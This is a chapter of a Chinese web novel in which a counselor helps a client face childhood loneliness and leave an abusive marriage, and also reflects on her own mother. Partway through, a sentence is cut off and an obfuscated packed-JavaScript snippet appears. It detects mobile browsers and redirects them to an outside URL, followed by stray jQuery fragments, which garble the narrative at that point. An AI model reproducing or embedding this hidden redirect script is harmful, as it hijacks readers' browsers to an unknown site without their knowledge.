刚出生的幼猴离开了妈妈,笼子里只有两只假母猴,一只母猴用冰冷铁丝制成,一只母猴用柔软织物制成。


    冰冷的母猴放置了奶瓶,织物母猴什么也没有,可是幼猴只有在喝奶的时候才接近铁丝妈妈,其他的时间只和织物母猴在一起。


    爱需要链接,爱需要触摸。


    我用低低有节奏的声音催眠着她,时光像逆流的风往后吹去,绽放的花朵退回成未开放的花苞尖儿,归巢的燕子才从暖意融融的窝中醒来,而她的身影从成人的样子逐渐缩小那个寂寞孤独的小女孩。


    我把一只抱抱熊放在她的怀里:“现在你把那个小女孩抱在怀里了,就好像妈妈一样把她紧紧地抱在怀里一样……”


    她缠紧自己的手放了下来,微微颤抖着把抱抱熊拥入了怀里。


    那个被“空杀”的小女孩,被看见了。


    她睁开湿湿的眼睛,望着屋顶良久:“你唤我的时候,我其实不想醒来,那个小女孩一直抱着我,她不想我离开。”


    “没关系,我们可以一次又一次地回去寻找她。”就像孩子要一遍一遍地确认妈妈的存在。


    等她从情绪的漩涡中抽身,平稳了心情,我默默将一杯温热的水推到她面前。


    她垂着头,小口小口地抿着水,直至杯底见空。


    “我理解了自己,为什么竟一直不想离婚。”


    “因为你们两个都是同样害怕被抛弃的孩子,他总是唤起你同样的创伤。而你们就像黑夜里两个互相伤害的孤独小兽,在你们的世界里没有别人,虽然互相伤害,却又如此害怕孤独,只能紧紧地拥抱彼此。”我理解地道。


    “如果我不是看见了,我想我可能会一直持续这样下去,被折磨,却又放不开。”


    她打了个寒战:“说不定到死都会这样。”


    我透过她的眼睛,仿佛又看到那双幽怨而悲戚的眼神。


    但眼前这一双眼睛,分明变得越来越清明:“告诉你一个秘密,我曾经谈了一个前男友,他也曾这样对待我,不过我们很快就分了手,我以为自己有什么癖好,总是吸引这样的男人。”


    “但我现在明白了,在我的潜意识里,我一直被困在那个窗子里。”


    那个孤独而被空杀的小女孩,盯着任何一个经过窗子的活物,她是那样的渴望被看见,被感觉,被链接。


    有好几次,在窗口她看到小孩子被母亲抽打,那一刻,她竟然生出了羡慕的感觉,羡慕那些哭哭啼啼的小孩。


    “因为被打意味着有人陪伴在身边,意味着不再是一个孤独的空壳对吗?”


    她的眼眶又微微地泛起了一阵涟漪。


    “谢谢你的看见,谢谢你的理解。”


    “你的潜意识选择一而再地经历这种感觉,其实是让自己变得更有勇气。就像跳高一样,一次一次地跳跃一次一次地提升。”


    “我突然有勇气做一个决定了。”


    我没有问她的决定是什么,只是等她走后我突然想起一个问题。


    为什么开关门的数字是15次?


    数字、时间在潜意识里特别被强调出现是非常奇怪的。


    数字属于理性思维逻辑,而潜意识更倾向于情感体验。


    例如童年时在海边玩耍的场景,海浪的声音、沙滩的触感、天空的颜色等具体形象,直接触及了我们的内心感受,才更容易被潜意识所接纳和保留。


    相比之下,数字是抽象的符号,缺乏直观的形象和情感共鸣,所以较难进入潜意识层面。


    不过这也只是我一个好奇地猜测,也许在潜意识里它仅仅是一个特定的标记而已。


    今天来访预约的人不多,我早早锁上了工作室的大门,沿着小路走到公寓附近的菜市场。


    我很少到这里,一个人独居所需甚少,晚上不过一碗清汤挂面便足矣。


    我走到角落里的一家香烛铺,要了一把质量比较好的线香。


    回到家,翻开一只尘封许久的木质储物箱,黑胡桃色的木盒有一种时光积累的沉重,盒子里面没有宝物,只储存了一些发黄的纸张和相片。


    人的一生看似充满了悲欢离合,我们在红尘的舞台上,编织出万千姿态的各式故事,穷尽一生去追逐、去挣扎、去爱恨,可当生命的帷幕缓缓落下,才发现所有的一切都如梦幻泡影,遗留下来的可能只有几张旧照片,有时候甚至什么也没有留下来。


    我从那尘封的盒子里,小心翼翼地取出一张泛着岁月颜色的黑白照片。


    它只有半个手掌大小,照片的某些角落曾被水渍浸染,如今已开始泛起霉斑,像是岁月留下的沧桑印记。


    不过少女的模样仍然能看得很清晰,她的头发两边各扎着一根乌黑发亮的长辫子,垂落在纤巧细薄的肩头上。


    一张线条柔美的瓜子脸,一双带笑着的黑色大眼睛,嘴角微微勾起愉悦地望向镜头。


    她慵懒而惬意地斜靠在一根栏杆上,身上的衣服看不出是什么颜色,只能看出领子是圆形的娃娃领,下面搭配着一条暗色的裤子,透着一种风华正茂的美感。


    我透过她清澈而充满希望的眼神与之对望,在我的印象里,她从来没有过这样的眼神。


    葡萄架石榴树下,永远都是带着悲苦的、幽怨的、挣扎的、绝望的眼神。


    “你知道吗?”我朝照片里那个少女说:“当有一天我在镜子里看到同样的眼神,我完全地崩溃了。”


    我以为这是婚姻带来的结果,于是我想方设法逃离。


    “但我后来才明白,这跟谁,或什么婚姻都没有关系。而是我一直在用你的眼睛看着这个世界。”


    照片中的少女仍然是笑眯眯的,没有回应任何的话题。


    “但我其实,从来不曾试图真正了解你。”


    瘦小的女人一天到晚忙碌不停,切完猪菜,喂完小鸡,扛着锄头到屋后给菜松土,回来又在灶头上洗米炒菜。


    “你外婆以前从来见不得我们懒一点点,一点小事都没做好,就会把我们毒打一顿。”她手上不停,絮叨着。


    “我怎么就这么命苦?没有一个好妈妈,又没有嫁到好老公。”有时候说着说着便掉下泪,但手中的活却没有停下来。


    跟在身旁的小女孩恨恨地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846369|191120||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想:“你离婚不就好了吗?”


    我看着手中那张黑白照片:“你走得这么早,我恨过你,我以为是你太懦弱,离不开一个不值得的男人。”


    但是,当一个人站在人生的十字路口时,又有谁能真正预见前方等待着自己的是什么,有时不如做一只温水里的青蛙,也许适应适应就好了。


    我把相片靠在边桌上,拿出一只杯子装上半杯白米。


    “我曾经特别想做一个勇敢的人,好像这样我才可以对抗命运拯救你一样。”


    抽出三炷金黄色的香,却发现找不到打火机,只好到厨房把煤气炉打着点燃。


    三点微弱的黄红色点亮了起来,渺渺的白烟散发出安神怡人的香味,我把三炷香插在米杯里。


    黑白照片里的人依旧没有回应,却好像在侧耳聆听。


    “但对抗和逃避一样都不是勇敢,只是假装的勇敢。直到选择面对,我才试图理解和尊重你。这是你的人生,我尊重你的命运,也尊重你的选择。”


    没有人需要被拯救,只需要被看见。


    穿过小半生的时光,回头看着那个眼神懵懂的小女孩,我把手伸向她,在虚空中握手言和。


    握手言和的不只有我。


    “老师,不好意思,临时和你预约。”张芝芸有些歉意地对我说,她今天穿着一身鹅黄色的连衣裙,比往日的感觉显得轻快了不少。


    一个身材修长穿着蓝灰色西装的男人跟在她身后进来,他眉眼黑润,有恰到好处的轮廓,如果不是神情太阴郁,实在是一个十分有魅力的男人。


    “今天是我们去民政局离婚的日子,我们已经签完字了,不过凯东仍想做个离婚的咨询。”张芝芸看了看郑凯东对我说道。


    “你希望我怎么帮你们?”


    郑凯东坐在椅子上望向我,他看人的时候很专注,会让人误以为你就是他世界的中心。


    “我并不想和芝芝离婚,人家说宁拆一座庙不拆一桩婚,你为什么要让芝芝跟我离婚?”


    “你觉得你们离婚是因为我拆的吗?还是你们的婚姻本身就已经走到了末路?”


    “可是如果不是因为你,芝芝还是会给我机会的。”


    我看向张芝芸。


    张芝芸此时却低头不语。


    “对不起,芝芝,我保证我会改,要不你再给我一次机会吧。”他侧头抬起黑色的眼睛专注地望向她。


    张芝芸放在桌子上的手指微不可见地抖动了一下。


    “萤火虫。”我轻轻地对张芝芸说。


    郑凯东闻言有点迷惑地看向我,微微侧着的高挺鼻梁在光影中落下一抹浅影。


    让我想起一种非常迷人的昆虫。


    那种在黑夜的灌木丛里发出一闪一闪亮光的虫子,美丽得让人仿佛看到遥远的星空。


    但这种比小指甲还小的诱人昆虫,却是身带毒液的肉食动物。


    在捕到了猎物后,会先给猎物注入毒液,将对方麻痹分泌消化酶分解后吸食。


    我之前在咨询的时候给张芝芸说过萤火虫的象征。


    她显然反应了过来。